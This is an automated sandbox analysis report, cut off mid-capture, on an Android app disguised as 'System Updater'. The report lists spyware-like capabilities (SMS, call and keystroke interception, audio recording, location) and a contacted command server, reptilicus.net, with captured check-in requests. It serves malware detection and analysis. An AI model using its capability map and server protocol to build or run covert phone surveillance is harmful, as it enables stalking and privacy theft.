Source: net.vkurhandler.ah;->b:1942Field access: android.provider.ContactsContract$CommonDataKinds$Phone.CONTENT_URI
Source: net.vkurhandler.al;->a:10Field access: android.provider.ContactsContract$CommonDataKinds$Phone.CONTENT_URI
Source: net.vkurhandler.al;->a:81Field access: android.provider.ContactsContract$CommonDataKinds$Phone.CONTENT_URI
Source: net.vkurhandler.gn;->a:87Field access: android.provider.ContactsContract$PhoneLookup.CONTENT_FILTER_URI
Reads the incoming call numberShow sources
Source: net.vkurhandler.CallReceiver;->a:11API Call: android.content.Intent.getStringExtra
Has permission to query the current locationShow sources
Source: submitted apkRequest permission: android.permission.ACCESS_FINE_LOCATION

Remote Access Functionality:

barindex
Found suspicious command strings (may be related to BOT commands)Show sources
Source: Lnet/vkurhandler/gn;->b(Ljava/lang/String;Ljava/lang/String;)VMethod string: "utils->sendsms"
Source: Lnet/vkurhandler/SettingsActivity;->i()VMethod string: "change_sim_send_sms"
Source: Lcom/nll/nativelibs/callrecording/a;->startRecording()VMethod string: "start recording"
Source: Lnet/vkurhandler/gn;->b(Ljava/lang/String;Ljava/lang/String;)VInstruction: "const-string v1, "utils->sendsms""
Source: Lnet/vkurhandler/SettingsActivity;->i()VInstruction: "const-string v2, "change_sim_send_sms""
Source: Lcom/nll/nativelibs/callrecording/a;->startRecording()VInstruction: "const-string v1, "start recording""
Has permission to mount or unmount file systems (removable storage)Show sources
Source: submitted apkRequest permission: android.permission.MOUNT_UNMOUNT_FILESYSTEMS

Antivirus Detection

Initial Sample

No Antivirus matches

Dropped Files

No Antivirus matches

Domains

No Antivirus matches

URLs

No Antivirus matches

Yara Overview

Initial Sample

No yara matches

PCAP (Network Traffic)

No yara matches

Dropped Files

No yara matches

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

android-buttoncam-android

Created / dropped Files

No created / dropped files found

Domains and IPs

Contacted Domains

NameIPActiveMaliciousAntivirus DetectionReputation
reptilicus.net176.9.42.16truefalsehigh

Contacted URLs

NameMaliciousAntivirus DetectionReputation
http://reptilicus.net/backend/new/rp.phpfalse
    high
    http://reptilicus.net/backend/new/handler.phpfalse
      high

      URLs from Memory and Binaries

      NameSourceMaliciousAntivirus DetectionReputation
      http://www.mp3dev.org/libmp3lame.sofalse
        unknown
        http://www.mp3dev.org/32bits64bitslibmp3lame.sofalse
          unknown
          https://reptilicus.net/konfidencialnostandroidfalse
            high
            http://schemas.android.com/apk/res/androidactivity_main.xml, AndroidManifest.xmlfalse
              high
              http://reptilicus.net/bn/g.php?androidfalse
                high
                http://gcc.gnu.org/bugs.html):libacr.sofalse
                  high
                  https://phonecontrolapp.com/sonfidentiality/androidfalse
                    unknown

                    Contacted IPs

                    • No. of IPs < 25%
                    • 25% < No. of IPs < 50%
                    • 50% < No. of IPs < 75%
                    • 75% < No. of IPs

                    Public

                    IPCountryFlagASNASN NameMalicious
                    74.125.133.188United States
                    15169unknownfalse
                    176.9.42.16Germany
                    24940unknownfalse

                    Static File Info

                    General

                    File type:Zip archive data, at least v2.0 to extract
                    Entropy (8bit):7.9192819503091405
                    TrID:
                    • Android Package (19004/1) 46.91%
                    • Java Archive (13504/1) 33.34%
                    • ZIP compressed archive (8000/1) 19.75%
                    File name:nUcFpnJ7qZ
                    File size:1086101
                    MD5:9be7585e88c3697d1689fdd1456c2a52
                    SHA1:013950a5e6bb29850c2150e246fa0e4204aeefa9
                    SHA256:086a72891ad805b02028ab878fe04219b47b41e7fe57827cb8bae3342df8fbf0
                    SHA512:cc928f169de9aeaae9afea871144b2f52d863be27b111fda22d8588972f04f5de4bceb45acec6c819e61a81c67a31bd7cf9c0bd54ecbe0f996830f66ebbcb4ba
                    SSDEEP:24576:gxy0Xq2/r++gSZsYRdnxNky/vBduqBMZG698wHxURa:6y0Xq2/r+LSWqdnzvpc2M8hEic
                    File Content Preview:PK..........GN+..q....T\......AndroidManifest.xml......ypT...oKB..,F..$...U....1.nI.Q...d.2.....Y.`;..%....N..;.C.R...r.R....T...2.g.8...ejRN*..LR3L.R...w....w...........,...5..@..W*...k.J}E...}N....NH.d.r.r..........R.!5.zH.d..4...?@...G....@.!a....!.C~.

                    Static APK Info

                    General

                    Label:System Updater
                    Minimum SDK required:10
                    Target SDK required:10
                    Version Code:137
                    Version Name:137
                    Package Name:net.vkurhandler
                    Is Activity:true
                    Is Receiver:true
                    Is Service:true
                    Requests System Level Permissions:false
                    Play Store Compatible:true

                    Activities

                    NameIs Entrypoint
                    net.vkurhandler.AdminUnlockActivity
                    net.vkurhandler.RegistrationActivity
                    net.vkurhandlernet.vkurhandler.MainActivity
                    net.vkurhandlernet.vkurhandler.FakeActivitytrue
                    net.vkurhandlernet.vkurhandler.EnterActivity
                    net.vkurhandlernet.vkurhandler.ForgotPasswordActivity
                    net.vkurhandlernet.vkurhandler.SettingsActivity
                    net.vkurhandlernet.vkurhandler.Mobile
                    net.vkurhandlernet.vkurhandler.CallRecordActivity
                    net.vkurhandler.ScreenMakerAppFilter
                    net.vkurhandler.SettingsRootActivity
                    net.vkurhandler.SettingsExpertActivity
                    net.vkurhandler.AddDeviceActivity
                    net.vkurhandler.PhotoActivity
                    net.vkurhandler.AlarmActivity
                    net.vkurhandler.AudiorecordSettingsActivity
                    net.vkurhandler.AddInterceptionPhotoPathActivity
                    net.vkurhandler.AddInterceptionAudioPathActivity
                    net.vkurhandler.AudiorecordEnvironmentScheduleActivity
                    net.vkurhandler.MessengerFilterActivity
                    net.vkurhandler.DirectoryPicker
                    net.vkurhandler.ParentControlActivity
                    net.vkurhandler.ParentControlBlockAppActivity

                    Receivers

                    • AddRemovePackageReceiver
                    • Intent: android.intent.action.PACKAGE_ADDED, android.intent.action.PACKAGE_REMOVED
                    • AudiorecordEnvironmentEndDetector
                    • AudiorecordEnvironmentSchedule
                    • AudiorecordSplitter
                    • DispatchSchedule
                    • LocationNotifier
                    • SimChangeNotifier
                    • net.vkurhandler.BootReceiver
                    • Intent: android.intent.action.QUICKBOOT_POWERON, com.htc.intent.action.QUICKBOOT_POWERON, android.intent.action.BOOT_COMPLETED
                    • net.vkurhandler.CallReceiver
                    • Intent: android.intent.action.NEW_OUTGOING_CALL (Priority 2147483647), android.intent.action.PHONE_STATE (Priority 2147483647)
                    • net.vkurhandler.GCMReceiver
                    • Intent: com.google.android.c2dm.intent.RECEIVE, com.google.android.c2dm.intent.REGISTRATION
                    • net.vkurhandler.MediaMountReceiver
                    • Intent: android.intent.action.MEDIA_MOUNTED
                    • net.vkurhandler.RDeviceAdminReceiver
                    • Intent: android.app.action.DEVICE_ADMIN_ENABLED
                    • net.vkurhandler.Sms2Receiver
                    • Intent: android.provider.Telephony.SMS_RECEIVED (Priority 2147483647)
                    • net.vkurhandler.UserPresent
                    • Intent: android.intent.action.USER_PRESENT
                    • net.vkurhandler.WatchDogReceiver
                    • Intent: android.provider.Telephony.SMS_RECEIVED, android.intent.action.NEW_OUTGOING_CALL, android.intent.action.PHONE_STATE, android.intent.action.BATTERY_LOW, android.intent.action.BATTERY_OKAY, android.intent.action.ACTION_POWER_CONNECTED, android.intent.action.ACTION_POWER_DISCONNECTED, android.intent.action.USER_PRESENT, android.net.ConnectivityManager.CONNECTIVITY_ACTION, android.net.wifi.STATE_CHANGE, android.net.wifi.supplicant.CONNECTION_CHANGE, android.net.conn.CONNECTIVITY_CHANGE

                    Services

                    • AdminUnlockViewService
                    • Optimizer
                    • net.vkurhandler.DispatchService
                    • net.vkurhandler.KeysInterceptor
                    • Intent: android.accessibilityservice.AccessibilityService (Priority 0)

                    Permission Requested

                    • android.permission.ACCESS_FINE_LOCATION
                    • android.permission.ACCESS_NETWORK_STATE
                    • android.permission.ACCESS_SUPERUSER
                    • android.permission.ACCESS_WIFI_STATE
                    • android.permission.BATTERY_STATS
                    • android.permission.BIND_ACCESSIBILITY_SERVICE
                    • android.permission.CALL_PHONE
                    • android.permission.CAMERA
                    • android.permission.CAPTURE_AUDIO_OUTPUT
                    • android.permission.CHANGE_COMPONENT_ENABLED_STATE
                    • android.permission.CHANGE_NETWORK_STATE
                    • android.permission.CHANGE_WIFI_STATE
                    • android.permission.DELETE_PACKAGES
                    • android.permission.DEVICE_POWER
                    • android.permission.DISABLE_KEYGUARD
                    • android.permission.GET_ACCOUNTS
                    • android.permission.GET_TASKS
                    • android.permission.INSTALL_PACKAGES
                    • android.permission.INTERNET
                    • android.permission.MODIFY_AUDIO_SETTINGS
                    • android.permission.MODIFY_PHONE_STATE
                    • android.permission.MOUNT_FORMAT_FILESYSTEMS
                    • android.permission.MOUNT_UNMOUNT_FILESYSTEMS
                    • android.permission.PACKAGE_USAGE_STATS
                    • android.permission.PROCESS_OUTGOING_CALLS
                    • android.permission.READ_CALL_LOG
                    • android.permission.READ_CONTACTS
                    • android.permission.READ_EXTERNAL_STORAGE
                    • android.permission.READ_PHONE_STATE
                    • android.permission.READ_SMS
                    • android.permission.RECEIVE_BOOT_COMPLETED
                    • android.permission.RECEIVE_SMS
                    • android.permission.RECORD_AUDIO
                    • android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
                    • android.permission.SEND_SMS
                    • android.permission.SYSTEM_ALERT_WINDOW
                    • android.permission.WAKE_LOCK
                    • android.permission.WRITE_EXTERNAL_STORAGE
                    • android.permission.WRITE_INTERNAL_STORAGE
                    • android.permission.WRITE_SECURE_SETTINGS
                    • android.permission.WRITE_SETTINGS
                    • android.permission.WRITE_SMS
                    • com.android.browser.permission.READ_HISTORY_BOOKMARKS
                    • com.android.browser.permission.WRITE_HISTORY_BOOKMARKS
                    • com.google.android.c2dm.permission.RECEIVE
                    • net.vkurhandler.permission.C2D_MESSAGE

                    Certificate

                    Name:classes.dex
                    Issuer:CN=ffff
                    Subject:CN=ffff

                    Resources

                    NameTypeSize
                    activity_main.xmlDBase 3 data file (384 records)384
                    activity_settings.xmlDBase 3 data file (23460 records)23460
                    phonebook.pngPNG image, 36 x 36, 8-bit/color RGBA, non-interlaced1106
                    ic_launcher.pngPNG image, 48 x 48, 8-bit/color RGBA, non-interlaced3112
                    activity_alarm.xmlDBase 3 data file (776 records)776
                    resources.arscdata101484
                    screen_app_filter_listview_row.xmlDBase 3 data file (1944 records)1944
                    activity_registration.xmlDBase 3 data file (3556 records)3556
                    AndroidManifest.xmlDBase 3 data file (23636 records)23636
                    usage_stats_dialog.xmlDBase 3 data file (1044 records)1044
                    edit.pngPNG image, 144 x 144, 8-bit/color RGBA, non-interlaced10165
                    phonebook.pngPNG image, 96 x 96, 8-bit/color RGBA, non-interlaced3480
                    add.pngPNG image, 144 x 144, 8-bit/color RGBA, non-interlaced3936
                    alarm_button.pngPNG image, 512 x 512, 8-bit/color RGBA, non-interlaced45872
                    delete.pngPNG image, 36 x 36, 8-bit colormap, non-interlaced1299
                    ic_launcher.pngPNG image, 96 x 96, 8-bit/color RGBA, non-interlaced9355
                    activity_audiorecord_tester.xmlDBase 3 data file (3456 records)3456
                    delete.pngPNG image, 96 x 96, 8-bit/color RGBA, non-interlaced5752
                    alarm_button.pngPNG image, 512 x 512, 8-bit/color RGBA, non-interlaced45872
                    activity_add_interception_photo_path.xmlDBase 3 data file (1128 records)1128
                    messenger_filter_row.xmlDBase 3 data file (1180 records)1180
                    directory_picker_chooser_list.xmlDBase 3 data file (1760 records)1760
                    admin_unlock.xmlDBase 3 data file (1176 records)1176
                    activity_messenger_filter.xmlDBase 3 data file (2572 records)2572
                    activity_call_record.xmlDBase 3 data file (4968 records)4968
                    multiline_spinner_dropdown_item.xmlDBase 3 data file (524 records)524
                    edit.pngPNG image, 96 x 96, 8-bit/color RGBA, non-interlaced7809
                    listview_row_title_and_btn_del.xmlDBase 3 data file (1264 records)1264
                    CERT.SFASCII text, with CRLF line terminators5917
                    datetime_picker_dialog.xmlDBase 3 data file (1304 records)1304
                    activity_settings_root.xmlDBase 3 data file (12172 records)12172
                    ic_launcher.pngPNG image, 144 x 144, 8-bit/color RGBA, non-interlaced17889
                    alarm_button.pngPNG image, 512 x 512, 8-bit/color RGBA, non-interlaced45872
                    delete.pngPNG image, 72 x 72, 8-bit/color RGBA, non-interlaced3392
                    add.pngPNG image, 72 x 72, 8-bit/color RGBA, non-interlaced2451
                    phonebook.pngPNG image, 48 x 48, 8-bit/color RGBA, non-interlaced1580
                    screen_maker_app_filter.xmlDBase 3 data file (2096 records)2096
                    alarm_button.pngPNG image, 512 x 512, 8-bit/color RGBA, non-interlaced45872
                    activity_forgot_pwd.xmlDBase 3 data file (1324 records)1324
                    directory_picker_list_item.xmlDBase 3 data file (404 records)404
                    add.pngPNG image, 48 x 48, 8-bit/color RGBA, non-interlaced1458
                    activity_parent_control_block_app.xmlDBase 3 data file (23132 records)23132
                    edit.pngPNG image, 48 x 48, 8-bit/color RGBA, non-interlaced3070
                    activity_photo.xmlDBase 3 data file (408 records)408
                    CERT.RSAdata1083
                    alarm.mp3Audio file with ID3 version 2.4.0, contains: MPEG ADTS, layer III, v2.5, 64 kbps, 11.025 kHz, Monaural66488
                    add.pngPNG image, 96 x 96, 8-bit/color RGBA, non-interlaced3312
                    device_settings_verify_apps.xmlDBase 3 data file (1704 records)1704
                    activity_audiorecord_environment_schedule.xmlDBase 3 data file (17428 records)17428
                    activity_add_device.xmlDBase 3 data file (2740 records)2740
                    activity_parent_control.xmlDBase 3 data file (1340 records)1340
                    libmp3lame.soELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked, not stripped704440
                    delete.pngPNG image, 48 x 48, 8-bit/color RGBA, non-interlaced2030
                    user_agreement_layout.xmlDBase 3 data file (2040 records)2040
                    serviceconfig.xmlDBase 3 data file (292 records)292
                    energy_saving_dialog.xmlDBase 3 data file (2200 records)2200
                    please_wait.xmlDBase 3 data file (756 records)756
                    activity_location_settings.xmlDBase 3 data file (3748 records)3748
                    activity_fake.xmlDBase 3 data file (328 records)328
                    phonebook.pngPNG image, 72 x 72, 8-bit/color RGBA, non-interlaced2479
                    activity_settings_expert.xmlDBase 3 data file (7972 records)7972
                    activity_add_interception_audio_path.xmlDBase 3 data file (1128 records)1128
                    edit.pngPNG image, 72 x 72, 8-bit/color RGBA, non-interlaced5433
                    activity_enter.xmlDBase 3 data file (2460 records)2460
                    MANIFEST.MFASCII text, with CRLF line terminators5864
                    libacr.soELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked, stripped153256
                    activity_main.xmlDBase 3 data file (1728 records)1728
                    device_admin.xmlDBase 3 data file (872 records)872
                    ic_launcher.pngPNG image, 72 x 72, 8-bit/color RGBA, non-interlaced5964
                    classes.dexDalvik dex file version 035563464

                    Network Behavior

                    Network Port Distribution

                    TCP Packets

                    TimestampSource PortDest PortSource IPDest IP
                    Apr 3, 2019 15:43:54.379661083 MESZ334065228192.168.1.9274.125.133.188
                    Apr 3, 2019 15:43:54.410375118 MESZ52283340674.125.133.188192.168.1.92
                    Apr 3, 2019 15:43:54.410599947 MESZ334065228192.168.1.9274.125.133.188
                    Apr 3, 2019 15:43:54.432831049 MESZ334065228192.168.1.9274.125.133.188
                    Apr 3, 2019 15:43:54.463485956 MESZ52283340674.125.133.188192.168.1.92
                    Apr 3, 2019 15:43:54.463707924 MESZ52283340674.125.133.188192.168.1.92
                    Apr 3, 2019 15:43:54.463753939 MESZ52283340674.125.133.188192.168.1.92
                    Apr 3, 2019 15:43:54.463849068 MESZ334065228192.168.1.9274.125.133.188
                    Apr 3, 2019 15:43:54.465981960 MESZ52283340674.125.133.188192.168.1.92
                    Apr 3, 2019 15:43:54.466162920 MESZ334065228192.168.1.9274.125.133.188
                    Apr 3, 2019 15:43:54.618314981 MESZ334065228192.168.1.9274.125.133.188
                    Apr 3, 2019 15:43:54.618863106 MESZ334065228192.168.1.9274.125.133.188
                    Apr 3, 2019 15:43:54.649137020 MESZ52283340674.125.133.188192.168.1.92
                    Apr 3, 2019 15:43:54.649362087 MESZ334065228192.168.1.9274.125.133.188
                    Apr 3, 2019 15:44:00.357717991 MESZ5353480192.168.1.92176.9.42.16
                    Apr 3, 2019 15:44:00.384056091 MESZ8053534176.9.42.16192.168.1.92
                    Apr 3, 2019 15:44:00.384469986 MESZ5353480192.168.1.92176.9.42.16
                    Apr 3, 2019 15:44:00.459439039 MESZ5353480192.168.1.92176.9.42.16
                    Apr 3, 2019 15:44:00.486063004 MESZ8053534176.9.42.16192.168.1.92
                    Apr 3, 2019 15:44:00.486936092 MESZ8053534176.9.42.16192.168.1.92
                    Apr 3, 2019 15:44:00.487109900 MESZ5353480192.168.1.92176.9.42.16
                    Apr 3, 2019 15:44:00.498769045 MESZ5353680192.168.1.92176.9.42.16
                    Apr 3, 2019 15:44:00.520895958 MESZ8053536176.9.42.16192.168.1.92
                    Apr 3, 2019 15:44:00.521066904 MESZ5353680192.168.1.92176.9.42.16
                    Apr 3, 2019 15:44:00.619887114 MESZ5353680192.168.1.92176.9.42.16
                    Apr 3, 2019 15:44:00.642167091 MESZ8053536176.9.42.16192.168.1.92
                    Apr 3, 2019 15:44:00.645271063 MESZ8053536176.9.42.16192.168.1.92
                    Apr 3, 2019 15:44:00.645366907 MESZ5353680192.168.1.92176.9.42.16
                    Apr 3, 2019 15:44:02.829339981 MESZ5353680192.168.1.92176.9.42.16
                    Apr 3, 2019 15:44:02.855365038 MESZ8053536176.9.42.16192.168.1.92
                    Apr 3, 2019 15:44:02.855540037 MESZ5353680192.168.1.92176.9.42.16
                    Apr 3, 2019 15:44:04.053792953 MESZ5353680192.168.1.92176.9.42.16
                    Apr 3, 2019 15:44:04.054094076 MESZ5353680192.168.1.92176.9.42.16
                    Apr 3, 2019 15:44:04.076489925 MESZ8053536176.9.42.16192.168.1.92
                    Apr 3, 2019 15:44:04.079289913 MESZ8053536176.9.42.16192.168.1.92
                    Apr 3, 2019 15:44:04.079447985 MESZ5353680192.168.1.92176.9.42.16
                    Apr 3, 2019 15:44:34.626779079 MESZ334165228192.168.1.9274.125.133.188
                    Apr 3, 2019 15:44:34.657984972 MESZ52283341674.125.133.188192.168.1.92
                    Apr 3, 2019 15:44:34.658071041 MESZ334165228192.168.1.9274.125.133.188
                    Apr 3, 2019 15:44:34.658869982 MESZ334165228192.168.1.9274.125.133.188
                    Apr 3, 2019 15:44:34.690155029 MESZ52283341674.125.133.188192.168.1.92
                    Apr 3, 2019 15:44:34.690346003 MESZ52283341674.125.133.188192.168.1.92
                    Apr 3, 2019 15:44:34.690375090 MESZ52283341674.125.133.188192.168.1.92
                    Apr 3, 2019 15:44:34.690512896 MESZ334165228192.168.1.9274.125.133.188
                    Apr 3, 2019 15:44:34.692542076 MESZ52283341674.125.133.188192.168.1.92
                    Apr 3, 2019 15:44:34.692615986 MESZ334165228192.168.1.9274.125.133.188
                    Apr 3, 2019 15:44:34.697628975 MESZ334165228192.168.1.9274.125.133.188
                    Apr 3, 2019 15:44:34.699434996 MESZ334165228192.168.1.9274.125.133.188
                    Apr 3, 2019 15:44:34.728909016 MESZ52283341674.125.133.188192.168.1.92
                    Apr 3, 2019 15:44:34.729017973 MESZ334165228192.168.1.9274.125.133.188
                    Apr 3, 2019 15:45:05.487325907 MESZ8053534176.9.42.16192.168.1.92
                    Apr 3, 2019 15:45:05.527318001 MESZ5353480192.168.1.92176.9.42.16
                    Apr 3, 2019 15:45:09.078717947 MESZ8053536176.9.42.16192.168.1.92
                    Apr 3, 2019 15:45:09.119065046 MESZ5353680192.168.1.92176.9.42.16
                    Apr 3, 2019 15:45:54.709418058 MESZ334205228192.168.1.9274.125.133.188
                    Apr 3, 2019 15:45:54.740573883 MESZ52283342074.125.133.188192.168.1.92
                    Apr 3, 2019 15:45:54.740786076 MESZ334205228192.168.1.9274.125.133.188
                    Apr 3, 2019 15:45:54.741533041 MESZ334205228192.168.1.9274.125.133.188
                    Apr 3, 2019 15:45:54.772633076 MESZ52283342074.125.133.188192.168.1.92
                    Apr 3, 2019 15:45:54.772918940 MESZ52283342074.125.133.188192.168.1.92
                    Apr 3, 2019 15:45:54.772942066 MESZ52283342074.125.133.188192.168.1.92
                    Apr 3, 2019 15:45:54.773068905 MESZ334205228192.168.1.9274.125.133.188
                    Apr 3, 2019 15:45:54.775012016 MESZ52283342074.125.133.188192.168.1.92
                    Apr 3, 2019 15:45:54.775147915 MESZ334205228192.168.1.9274.125.133.188
                    Apr 3, 2019 15:45:54.793819904 MESZ334205228192.168.1.9274.125.133.188
                    Apr 3, 2019 15:45:54.794190884 MESZ334205228192.168.1.9274.125.133.188
                    Apr 3, 2019 15:45:54.825122118 MESZ52283342074.125.133.188192.168.1.92
                    Apr 3, 2019 15:45:54.825372934 MESZ334205228192.168.1.9274.125.133.188
                    Apr 3, 2019 15:46:16.323143959 MESZ5353680192.168.1.92176.9.42.16
                    Apr 3, 2019 15:46:16.328381062 MESZ5354880192.168.1.92176.9.42.16
                    Apr 3, 2019 15:46:16.350826025 MESZ8053548176.9.42.16192.168.1.92
                    Apr 3, 2019 15:46:16.350950956 MESZ5354880192.168.1.92176.9.42.16
                    Apr 3, 2019 15:46:16.361054897 MESZ5354880192.168.1.92176.9.42.16
                    Apr 3, 2019 15:46:16.383671045 MESZ8053548176.9.42.16192.168.1.92
                    Apr 3, 2019 15:46:16.385911942 MESZ8053548176.9.42.16192.168.1.92
                    Apr 3, 2019 15:46:16.386006117 MESZ5354880192.168.1.92176.9.42.16
                    Apr 3, 2019 15:46:16.536488056 MESZ5354880192.168.1.92176.9.42.16
                    Apr 3, 2019 15:46:16.536645889 MESZ5354880192.168.1.92176.9.42.16
                    Apr 3, 2019 15:46:16.550796986 MESZ5353680192.168.1.92176.9.42.16
                    Apr 3, 2019 15:46:16.559165001 MESZ8053548176.9.42.16192.168.1.92
                    Apr 3, 2019 15:46:16.561513901 MESZ8053548176.9.42.16192.168.1.92
                    Apr 3, 2019 15:46:16.561598063 MESZ5354880192.168.1.92176.9.42.16
                    Apr 3, 2019 15:46:16.775253057 MESZ5353680192.168.1.92176.9.42.16
                    Apr 3, 2019 15:46:17.222706079 MESZ5353680192.168.1.92176.9.42.16
                    Apr 3, 2019 15:46:17.726782084 MESZ5354880192.168.1.92176.9.42.16
                    Apr 3, 2019 15:46:17.727469921 MESZ5354880192.168.1.92176.9.42.16
                    Apr 3, 2019 15:46:17.749985933 MESZ8053548176.9.42.16192.168.1.92
                    Apr 3, 2019 15:46:17.753125906 MESZ8053548176.9.42.16192.168.1.92
                    Apr 3, 2019 15:46:17.753267050 MESZ5354880192.168.1.92176.9.42.16
                    Apr 3, 2019 15:46:18.150764942 MESZ5353680192.168.1.92176.9.42.16
                    Apr 3, 2019 15:46:19.942645073 MESZ5353680192.168.1.92176.9.42.16
                    Apr 3, 2019 15:46:23.526654005 MESZ5353680192.168.1.92176.9.42.16
                    Apr 3, 2019 15:46:30.822088957 MESZ5353680192.168.1.92176.9.42.16
                    Apr 3, 2019 15:46:45.158149958 MESZ5353680192.168.1.92176.9.42.16
                    Apr 3, 2019 15:46:58.161669970 MESZ5354880192.168.1.92176.9.42.16
                    Apr 3, 2019 15:46:58.161767960 MESZ5353480192.168.1.92176.9.42.16
                    Apr 3, 2019 15:46:58.184119940 MESZ8053548176.9.42.16192.168.1.92
                    Apr 3, 2019 15:46:58.184396982 MESZ5354880192.168.1.92176.9.42.16

                    UDP Packets

                    TimestampSource PortDest PortSource IPDest IP
                    Apr 3, 2019 15:43:53.221470118 MESZ1867653192.168.1.928.8.8.8
                    Apr 3, 2019 15:43:53.248125076 MESZ53186768.8.8.8192.168.1.92
                    Apr 3, 2019 15:43:53.678415060 MESZ1677653192.168.1.928.8.8.8
                    Apr 3, 2019 15:43:53.707602024 MESZ53167768.8.8.8192.168.1.92
                    Apr 3, 2019 15:44:00.325885057 MESZ2426953192.168.1.928.8.8.8
                    Apr 3, 2019 15:44:00.355715036 MESZ53242698.8.8.8192.168.1.92
                    Apr 3, 2019 15:44:24.108635902 MESZ802253192.168.1.928.8.8.8
                    Apr 3, 2019 15:44:24.153733015 MESZ5380228.8.8.8192.168.1.92

                    DNS Queries

                    TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                    Apr 3, 2019 15:44:00.325885057 MESZ192.168.1.928.8.8.80x693bStandard query (0)reptilicus.netA (IP address)IN (0x0001)

                    DNS Answers

                    TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                    Apr 3, 2019 15:44:00.355715036 MESZ8.8.8.8192.168.1.920x693bNo error (0)reptilicus.net176.9.42.16A (IP address)IN (0x0001)

                    HTTP Request Dependency Graph

                    • reptilicus.net

                    HTTP Packets

                    Session IDSource IPSource PortDestination IPDestination Port
                    0192.168.1.9253534176.9.42.1680
                    TimestampkBytes transferredDirectionData
                    Apr 3, 2019 15:44:00.459439039 MESZ20OUTGET /backend/new/rp.php HTTP/1.1
                    Host: reptilicus.net
                    Connection: Keep-Alive
                    Accept-Encoding: gzip
                    Apr 3, 2019 15:44:00.486936092 MESZ20INHTTP/1.1 200 OK
                    Server: nginx/1.11.3
                    Date: Wed, 03 Apr 2019 13:44:00 GMT
                    Content-Type: text/html; charset=UTF-8
                    Content-Length: 50
                    Connection: keep-alive
                    X-Powered-By: PHP/5.3.3
                    Cache-Control: no-cache, no-store, must-revalidate
                    Pragma: no-cache
                    Expires: 0
                    Data Raw: ef bb bf 7b 22 73 22 3a 74 72 75 65 2c 22 61 22 3a 5b 22 63 6e 41 75 64 48 4a 68 59 32 74 76 62 6d 78 70 62 6d 55 75 59 32 39 74 4c 6e 56 68 22 5d 7d
                    Data Ascii: {"s":true,"a":["cnAudHJhY2tvbmxpbmUuY29tLnVh"]}


                    Session IDSource IPSource PortDestination IPDestination Port
                    1192.168.1.9253536176.9.42.1680
                    TimestampkBytes transferredDirectionData
                    Apr 3, 2019 15:44:00.619887114 MESZ21OUTPOST /backend/new/handler.php HTTP/1.1
                    Content-Length: 202
                    Content-Type: application/x-www-form-urlencoded
                    Host: reptilicus.net
                    Connection: Keep-Alive
                    Accept-Encoding: gzip
                    Data Raw: 70 61 72 61 6d 73 3d 25 37 42 25 32 32 6d 6f 64 75 6c 65 25 32 32 25 33 41 25 32 32 70 72 65 66 65 72 65 6e 63 65 25 32 32 25 32 43 25 32 32 61 63 74 69 6f 6e 25 32 32 25 33 41 25 32 32 6c 6f 61 64 25 32 32 25 32 43 25 32 32 64 65 76 69 63 65 5f 69 64 25 32 32 25 33 41 25 32 32 25 32 32 25 32 43 25 32 32 61 70 70 5f 6e 61 6d 65 25 32 32 25 33 41 25 32 32 53 79 73 74 65 6d 2b 55 70 64 61 74 65 72 25 32 32 25 32 43 25 32 32 70 6b 67 5f 6e 61 6d 65 25 32 32 25 33 41 25 32 32 6e 65 74 2e 76 6b 75 72 68 61 6e 64 6c 65 72 25 32 32 25 32 43 25 32 32 64 6f 6d 61 69 6e 5f 69 64 25 32 32 25 33 41 30 25 37 44
                    Data Ascii: params=%7B%22module%22%3A%22preference%22%2C%22action%22%3A%22load%22%2C%22device_id%22%3A%22%22%2C%22app_name%22%3A%22System+Updater%22%2C%22pkg_name%22%3A%22net.vkurhandler%22%2C%22domain_id%22%3A0%7D
                    Apr 3, 2019 15:44:00.645271063 MESZ22INHTTP/1.1 200 OK
                    Server: nginx/1.11.3
                    Date: Wed, 03 Apr 2019 13:44:00 GMT
                    Content-Type: text/html; charset=UTF-8
                    Content-Length: 60
                    Connection: keep-alive
                    X-Powered-By: PHP/5.3.3
                    Cache-Control: no-cache, no-store, must-revalidate
                    Pragma: no-cache
                    Expires: 0
                    Data Raw: 7b 22 72 65 73 70 6f 6e 73 65 22 3a 7b 22 65 72 72 6f 72 22 3a 22 69 6e 63 6f 72 72 65 63 74 5f 64 65 76 69 63 65 5f 69 64 22 2c 22 73 75 63 63 65 73 73 22 3a 66 61 6c 73 65 7d 7d
                    Data Ascii: {"response":{"error":"incorrect_device_id","success":false}}
                    Apr 3, 2019 15:44:02.829339981 MESZ26OUTPOST /backend/new/handler.php HTTP/1.1
                    Content-Length: 71
                    Content-Type: application/x-www-form-urlencoded
                    Host: reptilicus.net
                    Connection: Keep-Alive
                    Accept-Encoding: gzip
                    Data Raw: 70 61 72 61 6d 73 3d 25 37 42 25 32 32 6d 6f 64 75 6c 65 25 32 32 25 33 41 25 32 32 63 6c 69 65 6e 74 25 32 32 25 32 43 25 32 32 61 63 74 69 6f 6e 25 32 32 25 33 41 25 32 32 67 65 74 5f 6c 69 63 25 32 32 25 37 44
                    Data Ascii: params=%7B%22module%22%3A%22client%22%2C%22action%22%3A%22get_lic%22%7D
                    Apr 3, 2019 15:44:02.855365038 MESZ27INHTTP/1.1 200 OK
                    Server: nginx/1.11.3
                    Date: Wed, 03 Apr 2019 13:44:02 GMT
                    Content-Type: text/html; charset=UTF-8
                    Content-Length: 95
                    Connection: keep-alive
                    X-Powered-By: PHP/5.3.3
                    Cache-Control: no-cache, no-store, must-revalidate
                    Pragma: no-cache
                    Expires: 0
                    Data Raw: 7b 72 65 73 70 6f 6e 73 65 3a 7b 22 73 75 63 63 65 73 73 22 3a 22 74 72 75 65 22 2c 22 73 65 72 69 61 6c 22 3a 20 22 31 35 35 34 37 36 38 30 30 30 22 2c 20 22 6b 65 79 22 3a 20 22 32 43 43 45 36 46 34 37 30 32 37 45 30 30 36 35 42 45 37 46 46 46 35 37 32 35 37 33 33 35 36 30 22 7d 7d
                    Data Ascii: {response:{"success":"true","serial": "1554768000", "key": "2CCE6F47027E0065BE7FFF5725733560"}}
                    Apr 3, 2019 15:44:04.053792953 MESZ27OUTPOST /backend/new/handler.php HTTP/1.1
                    Content-Length: 840
                    Content-Type: application/x-www-form-urlencoded
                    Host: reptilicus.net
                    Connection: Keep-Alive
                    Accept-Encoding: gzip
